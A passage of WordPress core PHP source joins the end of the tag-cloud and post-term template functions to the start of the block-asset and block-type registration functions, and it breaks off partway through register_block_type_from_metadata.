		$counts[ $key ]      = call_user_func( $args['topic_count_scale_callback'], $tag->count );
	}

	$min_count = min( $counts );
	$spread    = max( $counts ) - $min_count;
	if ( $spread <= 0 ) {
		$spread = 1;
	}
	$font_spread = $args['largest'] - $args['smallest'];
	if ( $font_spread < 0 ) {
		$font_spread = 1;
	}
	$font_step = $font_spread / $spread;

	$aria_label = false;
	/*
	 * Determine whether to output an 'aria-label' attribute with the tag name and count.
	 * When tags have a different font size, they visually convey an important information
	 * that should be available to assistive technologies too. On the other hand, sometimes
	 * themes set up the Tag Cloud to display all tags with the same font size (setting
	 * the 'smallest' and 'largest' arguments to the same value).
	 * In order to always serve the same content to all users, the 'aria-label' gets printed out:
	 * - when tags have a different size
	 * - when the tag count is displayed (for example when users check the checkbox in the
	 *   Tag Cloud widget), regardless of the tags font size
	 */
	if ( $args['show_count'] || 0 !== $font_spread ) {
		$aria_label = true;
	}

	// Assemble the data that will be used to generate the tag cloud markup.
	$tags_data = array();
	foreach ( $tags as $key => $tag ) {
		$tag_id = isset( $tag->id ) ? $tag->id : $key;

		$count      = $counts[ $key ];
		$real_count = $real_counts[ $key ];

		if ( $translate_nooped_plural ) {
			$formatted_count = sprintf( translate_nooped_plural( $translate_nooped_plural, $real_count ), number_format_i18n( $real_count ) );
		} else {
			$formatted_count = call_user_func( $args['topic_count_text_callback'], $real_count, $tag, $args );
		}

		$tags_data[] = array(
			'id'              => $tag_id,
			'url'             => ( '#' !== $tag->link ) ? $tag->link : '#',
			'role'            => ( '#' !== $tag->link ) ? '' : ' role="button"',
			'name'            => $tag->name,
			'formatted_count' => $formatted_count,
			'slug'            => $tag->slug,
			'real_count'      => $real_count,
			'class'           => 'tag-cloud-link tag-link-' . $tag_id,
			'font_size'       => $args['smallest'] + ( $count - $min_count ) * $font_step,
			'aria_label'      => $aria_label ? sprintf( ' aria-label="%1$s (%2$s)"', esc_attr( $tag->name ), esc_attr( $formatted_count ) ) : '',
			'show_count'      => $args['show_count'] ? '<span class="tag-link-count"> (' . $real_count . ')</span>' : '',
		);
	}

	/**
	 * Filters the data used to generate the tag cloud.
	 *
	 * @since 4.3.0
	 *
	 * @param array[] $tags_data An array of term data arrays for terms used to generate the tag cloud.
	 */
	$tags_data = apply_filters( 'wp_generate_tag_cloud_data', $tags_data );

	$a = array();

	// Generate the output links array.
	foreach ( $tags_data as $key => $tag_data ) {
		$class = $tag_data['class'] . ' tag-link-position-' . ( $key + 1 );
		$a[]   = sprintf(
			'<a href="%1$s"%2$s class="%3$s" style="font-size: %4$s;"%5$s>%6$s%7$s</a>',
			esc_url( $tag_data['url'] ),
			$tag_data['role'],
			esc_attr( $class ),
			esc_attr( str_replace( ',', '.', $tag_data['font_size'] ) . $args['unit'] ),
			$tag_data['aria_label'],
			esc_html( $tag_data['name'] ),
			$tag_data['show_count']
		);
	}

	switch ( $args['format'] ) {
		case 'array':
			$return =& $a;
			break;
		case 'list':
			/*
			 * Force role="list", as some browsers (sic: Safari 10) don't expose to assistive
			 * technologies the default role when the list is styled with `list-style: none`.
			 * Note: this is redundant but doesn't harm.
			 */
			$return  = "<ul class='wp-tag-cloud' role='list'>\n\t<li>";
			$return .= implode( "</li>\n\t<li>", $a );
			$return .= "</li>\n</ul>\n";
			break;
		default:
			$return = implode( $args['separator'], $a );
			break;
	}

	if ( $args['filter'] ) {
		/**
		 * Filters the generated output of a tag cloud.
		 *
		 * The filter is only evaluated if a true value is passed
		 * to the $filter argument in wp_generate_tag_cloud().
		 *
		 * @since 2.3.0
		 *
		 * @see wp_generate_tag_cloud()
		 *
		 * @param string[]|string $return String containing the generated HTML tag cloud output
		 *                                or an array of tag links if the 'format' argument
		 *                                equals 'array'.
		 * @param WP_Term[]       $tags   An array of terms used in the tag cloud.
		 * @param array           $args   An array of wp_generate_tag_cloud() arguments.
		 */
		return apply_filters( 'wp_generate_tag_cloud', $return, $tags, $args );
	} else {
		return $return;
	}
}

/**
 * Serves as a callback for comparing objects based on name.
 *
 * Used with `uasort()`.
 *
 * @since 3.1.0
 * @access private
 *
 * @param object $a The first object to compare.
 * @param object $b The second object to compare.
 * @return int Negative number if `$a->name` is less than `$b->name`, zero if they are equal,
 *             or greater than zero if `$a->name` is greater than `$b->name`.
 */
function _wp_object_name_sort_cb( $a, $b ) {
	return strnatcasecmp( $a->name, $b->name );
}

/**
 * Serves as a callback for comparing objects based on count.
 *
 * Used with `uasort()`.
 *
 * @since 3.1.0
 * @access private
 *
 * @param object $a The first object to compare.
 * @param object $b The second object to compare.
 * @return int Negative number if `$a->count` is less than `$b->count`, zero if they are equal,
 *             or greater than zero if `$a->count` is greater than `$b->count`.
 */
function _wp_object_count_sort_cb( $a, $b ) {
	return ( $a->count - $b->count );
}

//
// Helper functions.
//

/**
 * Retrieves HTML list content for category list.
 *
 * @since 2.1.0
 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it
 *              to the function signature.
 *
 * @uses Walker_Category to create HTML list content.
 * @see Walker::walk() for parameters and return description.
 *
 * @param mixed ...$args Elements array, maximum hierarchical depth and optional additional arguments.
 * @return string
 */
function walk_category_tree( ...$args ) {
	// The user's options are the third parameter.
	if ( empty( $args[2]['walker'] ) || ! ( $args[2]['walker'] instanceof Walker ) ) {
		$walker = new Walker_Category();
	} else {
		/**
		 * @var Walker $walker
		 */
		$walker = $args[2]['walker'];
	}
	return $walker->walk( ...$args );
}

/**
 * Retrieves HTML dropdown (select) content for category list.
 *
 * @since 2.1.0
 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it
 *              to the function signature.
 *
 * @uses Walker_CategoryDropdown to create HTML dropdown content.
 * @see Walker::walk() for parameters and return description.
 *
 * @param mixed ...$args Elements array, maximum hierarchical depth and optional additional arguments.
 * @return string
 */
function walk_category_dropdown_tree( ...$args ) {
	// The user's options are the third parameter.
	if ( empty( $args[2]['walker'] ) || ! ( $args[2]['walker'] instanceof Walker ) ) {
		$walker = new Walker_CategoryDropdown();
	} else {
		/**
		 * @var Walker $walker
		 */
		$walker = $args[2]['walker'];
	}
	return $walker->walk( ...$args );
}

//
// Tags.
//

/**
 * Retrieves the link to the tag.
 *
 * @since 2.3.0
 *
 * @see get_term_link()
 *
 * @param int|object $tag Tag ID or object.
 * @return string Link on success, empty string if tag does not exist.
 */
function get_tag_link( $tag ) {
	return get_category_link( $tag );
}

/**
 * Retrieves the tags for a post.
 *
 * @since 2.3.0
 *
 * @param int|WP_Post $post Post ID or object.
 * @return WP_Term[]|false|WP_Error Array of WP_Term objects on success, false if there are no terms
 *                                  or the post does not exist, WP_Error on failure.
 */
function get_the_tags( $post = 0 ) {
	$terms = get_the_terms( $post, 'post_tag' );

	/**
	 * Filters the array of tags for the given post.
	 *
	 * @since 2.3.0
	 *
	 * @see get_the_terms()
	 *
	 * @param WP_Term[]|false|WP_Error $terms Array of WP_Term objects on success, false if there are no terms
	 *                                        or the post does not exist, WP_Error on failure.
	 */
	return apply_filters( 'get_the_tags', $terms );
}

/**
 * Retrieves the tags for a post formatted as a string.
 *
 * @since 2.3.0
 *
 * @param string $before  Optional. String to use before the tags. Default empty.
 * @param string $sep     Optional. String to use between the tags. Default empty.
 * @param string $after   Optional. String to use after the tags. Default empty.
 * @param int    $post_id Optional. Post ID. Defaults to the current post ID.
 * @return string|false|WP_Error A list of tags on success, false if there are no terms,
 *                               WP_Error on failure.
 */
function get_the_tag_list( $before = '', $sep = '', $after = '', $post_id = 0 ) {
	$tag_list = get_the_term_list( $post_id, 'post_tag', $before, $sep, $after );

	/**
	 * Filters the tags list for a given post.
	 *
	 * @since 2.3.0
	 *
	 * @param string $tag_list List of tags.
	 * @param string $before   String to use before the tags.
	 * @param string $sep      String to use between the tags.
	 * @param string $after    String to use after the tags.
	 * @param int    $post_id  Post ID.
	 */
	return apply_filters( 'the_tags', $tag_list, $before, $sep, $after, $post_id );
}

/**
 * Displays the tags for a post.
 *
 * @since 2.3.0
 *
 * @param string $before Optional. String to use before the tags. Defaults to 'Tags:'.
 * @param string $sep    Optional. String to use between the tags. Default ', '.
 * @param string $after  Optional. String to use after the tags. Default empty.
 */
function the_tags( $before = null, $sep = ', ', $after = '' ) {
	if ( null === $before ) {
		$before = __( 'Tags: ' );
	}

	$the_tags = get_the_tag_list( $before, $sep, $after );

	if ( ! is_wp_error( $the_tags ) ) {
		echo $the_tags;
	}
}

/**
 * Retrieves tag description.
 *
 * @since 2.8.0
 *
 * @param int $tag Optional. Tag ID. Defaults to the current tag ID.
 * @return string Tag description, if available.
 */
function tag_description( $tag = 0 ) {
	return term_description( $tag );
}

/**
 * Retrieves term description.
 *
 * @since 2.8.0
 * @since 4.9.2 The `$taxonomy` parameter was deprecated.
 *
 * @param int  $term       Optional. Term ID. Defaults to the current term ID.
 * @param null $deprecated Deprecated. Not used.
 * @return string Term description, if available.
 */
function term_description( $term = 0, $deprecated = null ) {
	if ( ! $term && ( is_tax() || is_tag() || is_category() ) ) {
		$term = get_queried_object();
		if ( $term ) {
			$term = $term->term_id;
		}
	}

	$description = get_term_field( 'description', $term );

	return is_wp_error( $description ) ? '' : $description;
}

/**
 * Retrieves the terms of the taxonomy that are attached to the post.
 *
 * @since 2.5.0
 *
 * @param int|WP_Post $post     Post ID or object.
 * @param string      $taxonomy Taxonomy name.
 * @return WP_Term[]|false|WP_Error Array of WP_Term objects on success, false if there are no terms
 *                                  or the post does not exist, WP_Error on failure.
 */
function get_the_terms( $post, $taxonomy ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$terms = get_object_term_cache( $post->ID, $taxonomy );

	if ( false === $terms ) {
		$terms = wp_get_object_terms( $post->ID, $taxonomy );
		if ( ! is_wp_error( $terms ) ) {
			$term_ids = wp_list_pluck( $terms, 'term_id' );
			wp_cache_add( $post->ID, $term_ids, $taxonomy . '_relationships' );
		}
	}

	/**
	 * Filters the list of terms attached to the given post.
	 *
	 * @since 3.1.0
	 *
	 * @param WP_Term[]|WP_Error $terms    Array of attached terms, or WP_Error on failure.
	 * @param int                $post_id  Post ID.
	 * @param string             $taxonomy Name of the taxonomy.
	 */
	$terms = apply_filters( 'get_the_terms', $terms, $post->ID, $taxonomy );

	if ( empty( $terms ) ) {
		return false;
	}

	return $terms;
}

/**
 * Retrieves a post's terms as a list with specified format.
 *
 * Terms are linked to their respective term listing pages.
 *
 * @since 2.5.0
 *
 * @param int    $post_id  Post ID.
 * @param string $taxonomy Taxonomy name.
 * @param string $before   Optional. String to use before the terms. Default empty.
 * @param string $sep      Optional. String to use between the terms. Default empty.
 * @param string $after    Optional. String to use after the terms. Default empty.
 * @return string|false|WP_Error A list of terms on success, false if there are no terms,
 *                               WP_Error on failure.
 */
function get_the_term_list( $post_id, $taxonomy, $before = '', $sep = '', $after = '' ) {
	$terms = get_the_terms( $post_id, $taxonomy );

	if ( is_wp_error( $terms ) ) {
		return $terms;
	}

	if ( empty( $terms ) ) {
		return false;
	}

	$links = array();

	foreach ( $terms as $term ) {
		$link = get_term_link( $term, $taxonomy );
		if ( is_wp_error( $link ) ) {
			return $link;
		}
		$links[] = '<a href="' . esc_url( $link ) . '" rel="tag">' . $term->name . '</a>';
	}

	/**
	 * Filters the term links for a given taxonomy.
	 *
	 * The dynamic portion of the hook name, `$taxonomy`, refers
	 * to the taxonomy slug.
	 *
	 * Possible hook names include:
	 *
	 *  - `term_links-category`
	 *  - `term_links-post_tag`
	 *  - `term_links-post_format`
	 *
	 * @since 2.5.0
	 *
	 * @param string[] $links An array of term links.
	 */
	$term_links = apply_filters( "term_links-{$taxonomy}", $links );  // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	return $before . implode( $sep, $term_links ) . $after;
}

/**
 * Retrieves term parents with separator.
 *
 * @since 4.8.0
 *
 * @param int          $term_id  Term ID.
 * @param string       $taxonomy Taxonomy name.
 * @param string|array $args {
 *     Array of optional arguments.
 *
 *     @type string $format    Use term names or slugs for display. Accepts 'name' or 'slug'.
 *                             Default 'name'.
 *     @type string $separator Separator for between the terms. Default '/'.
 *     @type bool   $link      Whether to format as a link. Default true.
 *     @type bool   $inclusive Include the term to get the parents for. Default true.
 * }
 * @return string|WP_Error A list of term parents on success, WP_Error or empty string on failure.
 */
function get_term_parents_list( $term_id, $taxonomy, $args = array() ) {
	$list = '';
	$term = get_term( $term_id, $taxonomy );

	if ( is_wp_error( $term ) ) {
		return $term;
	}

	if ( ! $term ) {
		return $list;
	}

	$term_id = $term->term_id;

	$defaults = array(
		'format'    => 'name',
		'separator' => '/',
		'link'      => true,
		'inclusive' => true,
	);

	$args = wp_parse_args( $args, $defaults );

	foreach ( array( 'link', 'inclusive' ) as $bool ) {
		$args[ $bool ] = wp_validate_boolean( $args[ $bool ] );
	}

	$parents = get_ancestors( $term_id, $taxonomy, 'taxonomy' );

	if ( $args['inclusive'] ) {
		array_unshift( $parents, $term_id );
	}

	foreach ( array_reverse( $parents ) as $term_id ) {
		$parent = get_term( $term_id, $taxonomy );
		$name   = ( 'slug' === $args['format'] ) ? $parent->slug : $parent->name;

		if ( $args['link'] ) {
			$list .= '<a href="' . esc_url( get_term_link( $parent->term_id, $taxonomy ) ) . '">' . $name . '</a>' . $args['separator'];
		} else {
			$list .= $name . $args['separator'];
		}
	}

	return $list;
}

/**
 * Displays the terms for a post in a list.
 *
 * @since 2.5.0
 *
 * @param int    $post_id  Post ID.
 * @param string $taxonomy Taxonomy name.
 * @param string $before   Optional. String to use before the terms. Default empty.
 * @param string $sep      Optional. String to use between the terms. Default ', '.
 * @param string $after    Optional. String to use after the terms. Default empty.
 * @return void|false Void on success, false on failure.
 */
function the_terms( $post_id, $taxonomy, $before = '', $sep = ', ', $after = '' ) {
	$term_list = get_the_term_list( $post_id, $taxonomy, $before, $sep, $after );

	if ( is_wp_error( $term_list ) ) {
		return false;
	}

	/**
	 * Filters the list of terms to display.
	 *
	 * @since 2.9.0
	 *
	 * @param string $term_list List of terms to display.
	 * @param string $taxonomy  The taxonomy name.
	 * @param string $before    String to use before the terms.
	 * @param string $sep       String to use between the terms.
	 * @param string $after     String to use after the terms.
	 */
	echo apply_filters( 'the_terms', $term_list, $taxonomy, $before, $sep, $after );
}

/**
 * Checks if the current post has any of given category.
 *
 * The given categories are checked against the post's categories' term_ids, names and slugs.
 * Categories given as integers will only be checked against the post's categories' term_ids.
 *
 * If no categories are given, determines if post has any categories.
 *
 * @since 3.1.0
 *
 * @param string|int|array $category Optional. The category name/term_id/slug,
 *                                   or an array of them to check for. Default empty.
 * @param int|WP_Post      $post     Optional. Post to check. Defaults to the current post.
 * @return bool True if the current post has any of the given categories
 *              (or any category, if no category specified). False otherwise.
 */
function has_category( $category = '', $post = null ) {
	return has_term( $category, 'category', $post );
}

/**
 * Checks if the current post has any of given tags.
 *
 * The given tags are checked against the post's tags' term_ids, names and slugs.
 * Tags given as integers will only be checked against the post's tags' term_ids.
 *
 * If no tags are given, determines if post has any tags.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.6.0
 * @since 2.7.0 Tags given as integers are only checked against
 *              the post's tags' term_ids, not names or slugs.
 * @since 2.7.0 Can be used outside of the WordPress Loop if `$post` is provided.
 *
 * @param string|int|array $tag  Optional. The tag name/term_id/slug,
 *                               or an array of them to check for. Default empty.
 * @param int|WP_Post      $post Optional. Post to check. Defaults to the current post.
 * @return bool True if the current post has any of the given tags
 *              (or any tag, if no tag specified). False otherwise.
 */
function has_tag( $tag = '', $post = null ) {
	return has_term( $tag, 'post_tag', $post );
}

/**
 * Checks if the current post has any of given terms.
 *
 * The given terms are checked against the post's terms' term_ids, names and slugs.
 * Terms given as integers will only be checked against the post's terms' term_ids.
 *
 * If no terms are given, determines if post has any terms.
 *
 * @since 3.1.0
 *
 * @param string|int|array $term     Optional. The term name/term_id/slug,
 *                                   or an array of them to check for. Default empty.
 * @param string           $taxonomy Optional. Taxonomy name. Default empty.
 * @param int|WP_Post      $post     Optional. Post to check. Defaults to the current post.
 * @return bool True if the current post has any of the given terms
 *              (or any term, if no term specified). False otherwise.
 */
function has_term( $term = '', $taxonomy = '', $post = null ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$r = is_object_in_term( $post->ID, $taxonomy, $term );
	if ( is_wp_error( $r ) ) {
		return false;
	}

	return $r;
}
<?php
/**
 * Functions related to registering and parsing blocks.
 *
 * @package WordPress
 * @subpackage Blocks
 * @since 5.0.0
 */

/**
 * Removes the block asset's path prefix if provided.
 *
 * @since 5.5.0
 *
 * @param string $asset_handle_or_path Asset handle or prefixed path.
 * @return string Path without the prefix or the original value.
 */
function remove_block_asset_path_prefix( $asset_handle_or_path ) {
	$path_prefix = 'file:';
	if ( ! str_starts_with( $asset_handle_or_path, $path_prefix ) ) {
		return $asset_handle_or_path;
	}
	$path = substr(
		$asset_handle_or_path,
		strlen( $path_prefix )
	);
	if ( str_starts_with( $path, './' ) ) {
		$path = substr( $path, 2 );
	}
	return $path;
}

/**
 * Generates the name for an asset based on the name of the block
 * and the field name provided.
 *
 * @since 5.5.0
 * @since 6.1.0 Added `$index` parameter.
 * @since 6.5.0 Added support for `viewScriptModule` field.
 *
 * @param string $block_name Name of the block.
 * @param string $field_name Name of the metadata field.
 * @param int    $index      Optional. Index of the asset when multiple items passed.
 *                           Default 0.
 * @return string Generated asset name for the block's field.
 */
function generate_block_asset_handle( $block_name, $field_name, $index = 0 ) {
	if ( str_starts_with( $block_name, 'core/' ) ) {
		$asset_handle = str_replace( 'core/', 'wp-block-', $block_name );
		if ( str_starts_with( $field_name, 'editor' ) ) {
			$asset_handle .= '-editor';
		}
		if ( str_starts_with( $field_name, 'view' ) ) {
			$asset_handle .= '-view';
		}
		if ( str_ends_with( strtolower( $field_name ), 'scriptmodule' ) ) {
			$asset_handle .= '-script-module';
		}
		if ( $index > 0 ) {
			$asset_handle .= '-' . ( $index + 1 );
		}
		return $asset_handle;
	}

	$field_mappings = array(
		'editorScript'     => 'editor-script',
		'editorStyle'      => 'editor-style',
		'script'           => 'script',
		'style'            => 'style',
		'viewScript'       => 'view-script',
		'viewScriptModule' => 'view-script-module',
		'viewStyle'        => 'view-style',
	);
	$asset_handle   = str_replace( '/', '-', $block_name ) .
		'-' . $field_mappings[ $field_name ];
	if ( $index > 0 ) {
		$asset_handle .= '-' . ( $index + 1 );
	}
	return $asset_handle;
}

/**
 * Gets the URL to a block asset.
 *
 * @since 6.4.0
 *
 * @param string $path A normalized path to a block asset.
 * @return string|false The URL to the block asset or false on failure.
 */
function get_block_asset_url( $path ) {
	if ( empty( $path ) ) {
		return false;
	}

	// Path needs to be normalized to work in Windows env.
	static $wpinc_path_norm = '';
	if ( ! $wpinc_path_norm ) {
		$wpinc_path_norm = wp_normalize_path( realpath( ABSPATH . WPINC ) );
	}

	if ( str_starts_with( $path, $wpinc_path_norm ) ) {
		return includes_url( str_replace( $wpinc_path_norm, '', $path ) );
	}

	static $template_paths_norm = array();

	$template = get_template();
	if ( ! isset( $template_paths_norm[ $template ] ) ) {
		$template_paths_norm[ $template ] = wp_normalize_path( realpath( get_template_directory() ) );
	}

	if ( str_starts_with( $path, trailingslashit( $template_paths_norm[ $template ] ) ) ) {
		return get_theme_file_uri( str_replace( $template_paths_norm[ $template ], '', $path ) );
	}

	if ( is_child_theme() ) {
		$stylesheet = get_stylesheet();
		if ( ! isset( $template_paths_norm[ $stylesheet ] ) ) {
			$template_paths_norm[ $stylesheet ] = wp_normalize_path( realpath( get_stylesheet_directory() ) );
		}

		if ( str_starts_with( $path, trailingslashit( $template_paths_norm[ $stylesheet ] ) ) ) {
			return get_theme_file_uri( str_replace( $template_paths_norm[ $stylesheet ], '', $path ) );
		}
	}

	return plugins_url( basename( $path ), $path );
}

/**
 * Finds a script module ID for the selected block metadata field. It detects
 * when a path to file was provided and optionally finds a corresponding asset
 * file with details necessary to register the script module under with an
 * automatically generated module ID. It returns unprocessed script module
 * ID otherwise.
 *
 * @since 6.5.0
 *
 * @param array  $metadata   Block metadata.
 * @param string $field_name Field name to pick from metadata.
 * @param int    $index      Optional. Index of the script module ID to register when multiple
 *                           items passed. Default 0.
 * @return string|false Script module ID or false on failure.
 */
function register_block_script_module_id( $metadata, $field_name, $index = 0 ) {
	if ( empty( $metadata[ $field_name ] ) ) {
		return false;
	}

	$module_id = $metadata[ $field_name ];
	if ( is_array( $module_id ) ) {
		if ( empty( $module_id[ $index ] ) ) {
			return false;
		}
		$module_id = $module_id[ $index ];
	}

	$module_path = remove_block_asset_path_prefix( $module_id );
	if ( $module_id === $module_path ) {
		return $module_id;
	}

	$path                  = dirname( $metadata['file'] );
	$module_asset_raw_path = $path . '/' . substr_replace( $module_path, '.asset.php', - strlen( '.js' ) );
	$module_id             = generate_block_asset_handle( $metadata['name'], $field_name, $index );
	$module_asset_path     = wp_normalize_path(
		realpath( $module_asset_raw_path )
	);

	$module_path_norm = wp_normalize_path( realpath( $path . '/' . $module_path ) );
	$module_uri       = get_block_asset_url( $module_path_norm );

	$module_asset        = ! empty( $module_asset_path ) ? require $module_asset_path : array();
	$module_dependencies = isset( $module_asset['dependencies'] ) ? $module_asset['dependencies'] : array();
	$block_version       = isset( $metadata['version'] ) ? $metadata['version'] : false;
	$module_version      = isset( $module_asset['version'] ) ? $module_asset['version'] : $block_version;

	wp_register_script_module(
		$module_id,
		$module_uri,
		$module_dependencies,
		$module_version
	);

	return $module_id;
}

/**
 * Finds a script handle for the selected block metadata field. It detects
 * when a path to file was provided and optionally finds a corresponding asset
 * file with details necessary to register the script under automatically
 * generated handle name. It returns unprocessed script handle otherwise.
 *
 * @since 5.5.0
 * @since 6.1.0 Added `$index` parameter.
 * @since 6.5.0 The asset file is optional. Added script handle support in the asset file.
 *
 * @param array  $metadata   Block metadata.
 * @param string $field_name Field name to pick from metadata.
 * @param int    $index      Optional. Index of the script to register when multiple items passed.
 *                           Default 0.
 * @return string|false Script handle provided directly or created through
 *                      script's registration, or false on failure.
 */
function register_block_script_handle( $metadata, $field_name, $index = 0 ) {
	if ( empty( $metadata[ $field_name ] ) ) {
		return false;
	}

	$script_handle_or_path = $metadata[ $field_name ];
	if ( is_array( $script_handle_or_path ) ) {
		if ( empty( $script_handle_or_path[ $index ] ) ) {
			return false;
		}
		$script_handle_or_path = $script_handle_or_path[ $index ];
	}

	$script_path = remove_block_asset_path_prefix( $script_handle_or_path );
	if ( $script_handle_or_path === $script_path ) {
		return $script_handle_or_path;
	}

	$path                  = dirname( $metadata['file'] );
	$script_asset_raw_path = $path . '/' . substr_replace( $script_path, '.asset.php', - strlen( '.js' ) );
	$script_asset_path     = wp_normalize_path(
		realpath( $script_asset_raw_path )
	);

	// Asset file for blocks is optional. See https://core.trac.wordpress.org/ticket/60460.
	$script_asset  = ! empty( $script_asset_path ) ? require $script_asset_path : array();
	$script_handle = isset( $script_asset['handle'] ) ?
		$script_asset['handle'] :
		generate_block_asset_handle( $metadata['name'], $field_name, $index );
	if ( wp_script_is( $script_handle, 'registered' ) ) {
		return $script_handle;
	}

	$script_path_norm    = wp_normalize_path( realpath( $path . '/' . $script_path ) );
	$script_uri          = get_block_asset_url( $script_path_norm );
	$script_dependencies = isset( $script_asset['dependencies'] ) ? $script_asset['dependencies'] : array();
	$block_version       = isset( $metadata['version'] ) ? $metadata['version'] : false;
	$script_version      = isset( $script_asset['version'] ) ? $script_asset['version'] : $block_version;
	$script_args         = array();
	if ( 'viewScript' === $field_name && $script_uri ) {
		$script_args['strategy'] = 'defer';
	}

	$result = wp_register_script(
		$script_handle,
		$script_uri,
		$script_dependencies,
		$script_version,
		$script_args
	);
	if ( ! $result ) {
		return false;
	}

	if ( ! empty( $metadata['textdomain'] ) && in_array( 'wp-i18n', $script_dependencies, true ) ) {
		wp_set_script_translations( $script_handle, $metadata['textdomain'] );
	}

	return $script_handle;
}

/**
 * Finds a style handle for the block metadata field. It detects when a path
 * to file was provided and registers the style under automatically
 * generated handle name. It returns unprocessed style handle otherwise.
 *
 * @since 5.5.0
 * @since 6.1.0 Added `$index` parameter.
 *
 * @param array  $metadata   Block metadata.
 * @param string $field_name Field name to pick from metadata.
 * @param int    $index      Optional. Index of the style to register when multiple items passed.
 *                           Default 0.
 * @return string|false Style handle provided directly or created through
 *                      style's registration, or false on failure.
 */
function register_block_style_handle( $metadata, $field_name, $index = 0 ) {
	if ( empty( $metadata[ $field_name ] ) ) {
		return false;
	}

	$style_handle = $metadata[ $field_name ];
	if ( is_array( $style_handle ) ) {
		if ( empty( $style_handle[ $index ] ) ) {
			return false;
		}
		$style_handle = $style_handle[ $index ];
	}

	$style_handle_name = generate_block_asset_handle( $metadata['name'], $field_name, $index );
	// If the style handle is already registered, skip re-registering.
	if ( wp_style_is( $style_handle_name, 'registered' ) ) {
		return $style_handle_name;
	}

	static $wpinc_path_norm = '';
	if ( ! $wpinc_path_norm ) {
		$wpinc_path_norm = wp_normalize_path( realpath( ABSPATH . WPINC ) );
	}

	$is_core_block = isset( $metadata['file'] ) && str_starts_with( $metadata['file'], $wpinc_path_norm );
	// Skip registering individual styles for each core block when a bundled version provided.
	if ( $is_core_block && ! wp_should_load_separate_core_block_assets() ) {
		return false;
	}

	$style_path      = remove_block_asset_path_prefix( $style_handle );
	$is_style_handle = $style_handle === $style_path;
	// Allow only passing style handles for core blocks.
	if ( $is_core_block && ! $is_style_handle ) {
		return false;
	}
	// Return the style handle unless it's the first item for every core block that requires special treatment.
	if ( $is_style_handle && ! ( $is_core_block && 0 === $index ) ) {
		return $style_handle;
	}

	// Check whether styles should have a ".min" suffix or not.
	$suffix = SCRIPT_DEBUG ? '' : '.min';
	if ( $is_core_block ) {
		$style_path = ( 'editorStyle' === $field_name ) ? "editor{$suffix}.css" : "style{$suffix}.css";
	}

	$style_path_norm = wp_normalize_path( realpath( dirname( $metadata['file'] ) . '/' . $style_path ) );
	$style_uri       = get_block_asset_url( $style_path_norm );

	$version = ! $is_core_block && isset( $metadata['version'] ) ? $metadata['version'] : false;
	$result  = wp_register_style(
		$style_handle_name,
		$style_uri,
		array(),
		$version
	);
	if ( ! $result ) {
		return false;
	}

	if ( $style_uri ) {
		wp_style_add_data( $style_handle_name, 'path', $style_path_norm );

		if ( $is_core_block ) {
			$rtl_file = str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $style_path_norm );
		} else {
			$rtl_file = str_replace( '.css', '-rtl.css', $style_path_norm );
		}

		if ( is_rtl() && file_exists( $rtl_file ) ) {
			wp_style_add_data( $style_handle_name, 'rtl', 'replace' );
			wp_style_add_data( $style_handle_name, 'suffix', $suffix );
			wp_style_add_data( $style_handle_name, 'path', $rtl_file );
		}
	}

	return $style_handle_name;
}

/**
 * Gets i18n schema for block's metadata read from `block.json` file.
 *
 * @since 5.9.0
 *
 * @return object The schema for block's metadata.
 */
function get_block_metadata_i18n_schema() {
	static $i18n_block_schema;

	if ( ! isset( $i18n_block_schema ) ) {
		$i18n_block_schema = wp_json_file_decode( __DIR__ . '/block-i18n.json' );
	}

	return $i18n_block_schema;
}

/**
 * Registers a block type from the metadata stored in the `block.json` file.
 *
 * @since 5.5.0
 * @since 5.7.0 Added support for `textdomain` field and i18n handling for all translatable fields.
 * @since 5.9.0 Added support for `variations` and `viewScript` fields.
 * @since 6.1.0 Added support for `render` field.
 * @since 6.3.0 Added `selectors` field.
 * @since 6.4.0 Added support for `blockHooks` field.
 * @since 6.5.0 Added support for `allowedBlocks`, `viewScriptModule`, and `viewStyle` fields.
 *
 * @param string $file_or_folder Path to the JSON file with metadata definition for
 *                               the block or path to the folder where the `block.json` file is located.
 *                               If providing the path to a JSON file, the filename must end with `block.json`.
 * @param array  $args           Optional. Array of block type arguments. Accepts any public property
 *                               of `WP_Block_Type`. See WP_Block_Type::__construct() for information
 *                               on accepted arguments. Default empty array.
 * @return WP_Block_Type|false The registered block type on success, or false on failure.
 */
function register_block_type_from_metadata( $file_or_folder, $args = array() ) {
	/*
	 * Get an array of metadata from a PHP file.
	 * This improves performance for core blocks as it's only necessary to read a single PHP file
	 * instead of reading a JSON file per-block, and then decoding from JSON to PHP.
	 * Using a static variable ensures that the metadata is only read once per request.
	 */
	static $core_blocks_meta;
	if ( ! $core_blocks_meta ) {
		$core_blocks_meta = require ABSPATH . WPINC . '/blocks/blocks-json.php';
	}

	$metadata_file = ( ! str_ends_with( $file_or_folder, 'block.json' ) ) ?
		trailingslashit( $file_or_folder ) . 'block.json' :
		$file_or_folder;

	$is_core_block = str_starts_with( $file_or_folder, ABSPATH . WPINC );
	// If the block is not a core block, the metadata file must exist.
	$metadata_file_exists = $is_core_block || file_exists( $metadata_file );
	if ( ! $metadata_file_exists && empty( $args['name'] ) ) {
		return false;
	}

	// Try to get metadata from the static cache for core blocks.
	$metadata = array();
	if ( $is_core_block ) {
		$core_block_name = str_replace( ABSPATH . WPINC . '/blocks/', '', $file_or_folder );
		if ( ! empty( $core_blocks_meta[ $core_block_name ] ) ) {
			$metadata = $core_blocks_meta[ $core_block_name ];
		}
	}

	// If metadata is not found in the static cache, read it from the file.
	if ( $metadata_file_exists && empty( $metadata ) ) {
		$metadata = wp_json_file_decode( $metadata_file, array( 'associative' => true ) );
	}

	if ( ! is_array( $metadata ) || ( empty( $metadata['name'] ) && empty( $args['name'] ) ) ) {
		return false;
	}

	$metadata['file'] = $metadata_file_exists ? wp_normalize_path( realpath( $metadata_file ) ) : null;

	/**
	 * Filters the metadata provided for registering a block type.
	 *
	 * @since 5.7.0
	 *
	 * @param array $metadata Metadata for registering a block type.
	 */
	$metadata = apply_filters( 'block_type_metadata', $metadata );

	// Add `style` and `editor_style` for core blocks if missing.
